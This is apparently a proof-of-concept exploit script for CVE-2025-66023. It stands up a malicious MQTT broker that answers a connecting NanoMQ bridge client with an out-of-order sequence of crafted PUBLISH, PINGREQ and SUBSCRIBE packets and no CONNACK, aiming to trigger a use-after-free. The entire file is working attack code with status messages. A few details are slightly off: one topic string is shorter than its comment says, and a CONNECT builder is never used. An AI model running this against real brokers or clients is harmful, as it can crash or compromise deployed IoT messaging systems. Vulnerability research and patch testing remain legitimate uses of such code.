#!/usr/bin/env python3
# CVE-2025-66023 PoC - Malicious MQTT Broker
# This PoC demonstrates how a malicious MQTT broker can trigger UAF in NanoMQ bridge client
import socket
import time
import struct
def create_mqtt_connect_packet(client_id="nano_bridge_client"):
"""Create MQTT CONNECT packet"""
# Fixed header
packet_type = 0x10 # CONNECT
remaining_length = 2 + len(client_id) + 12 + 12 # Simplified calculation
payload = bytearray()
# Protocol name
payload.extend([0x00, 0x04, 0x4D, 0x51, 0x54, 0x54]) # "MQTT"
# Protocol level (4 = MQTT 3.1.1)
payload.append(0x04)
# Connect flags
payload.append(0x02) # Clean session
# Keep alive
payload.extend([0x00, 0x3C]) # 60 seconds
# Client ID
payload.extend(struct.pack('!H', len(client_id)))
payload.extend(client_id.encode())
return bytes([packet_type, len(payload)]) + bytes(payload)
def create_malformed_packets():
"""Create malformed packet sequence to trigger UAF"""
packets = []
# Skip CONNACK, send PUBLISH directly (malformed)
publish_packet = bytearray([0x32, 0x0A]) # PUBLISH with remaining length
publish_packet.extend([0x00, 0x03, 0x74, 0x65, 0x73]) # Topic "test"
publish_packet.extend([0x00, 0x00]) # Packet ID
publish_packet.extend(b"malicious")
packets.append(bytes(publish_packet))
# Send PINGREQ without proper state
packets.append(bytes([0xC0, 0x00]))
# Send SUBSCRIBE without proper state
subscribe_packet = bytearray([0x82, 0x09])
subscribe_packet.extend([0x00, 0x01]) # Packet ID
subscribe_packet.extend([0x00, 0x05, 0x74, 0x6F, 0x70, 0x69, 0x63]) # Topic
subscribe_packet.append(0x00)
packets.append(bytes(subscribe_packet))
return packets
def start_malicious_broker(port=1883):
"""Start malicious MQTT broker to trigger UAF in NanoMQ"""
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', port))
server.listen(1)
print(f"[*] Malicious MQTT broker listening on port {port}")
while True:
try:
client, addr = server.accept()
print(f"[+] NanoMQ client connected from {addr}")
# Wait for CONNECT packet
connect_data = client.recv(1024)
if not connect_data:
client.close()
continue
print("[+] Received CONNECT packet from NanoMQ")
# Send malformed packet sequence WITHOUT CONNACK
print("[*] Sending malformed packet sequence...")
malformed = create_malformed_packets()
for packet in malformed:
client.send(packet)
time.sleep(0.1)
print("[*] Malformed packets sent. UAF should be triggered.")
client.close()
except Exception as e:
print(f"[-] Error: {e}")
break
if __name__ == "__main__":
print("="*60)
print("CVE-2025-66023 PoC - NanoMQ MQTT Bridge UAF")
print("="*60)
start_malicious_broker()